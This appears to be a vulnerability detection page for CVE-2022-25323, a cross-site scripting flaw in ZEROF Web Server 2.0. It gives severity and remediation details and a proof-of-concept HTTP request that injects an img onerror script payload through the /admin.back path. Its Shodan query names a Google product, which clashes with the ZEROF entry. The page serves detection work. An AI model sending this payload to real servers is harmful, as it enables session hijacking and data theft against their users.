🔙 목록으로 돌아가기

CVE-2022-25323: ZEROF Web Server 2.0 - Cross-Site Scripting

TitleZEROF Web Server 2.0 - Cross-Site Scripting
Authorpikpikcu
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
RemediationApply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in ZEROF Web Server 2.0.
CVSS Score6.1
EPSS Score0.04955
CVE IDCVE-2022-25323
CWE IDCWE-79
Shodan Querycpe:"cpe:2.3:a:google:web_server"
Tags cve cve2022 xss zerof vuln

🔍 Vulnerability Description

ZEROF Web Server 2.0 allows /admin.back cross-site scripting.

🌐 HTTP Request

GET /admin.back%3Cimg%20src=x%20onerror=alert%28document.domain%29%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14092.77.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.107 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-25323.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-25323.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A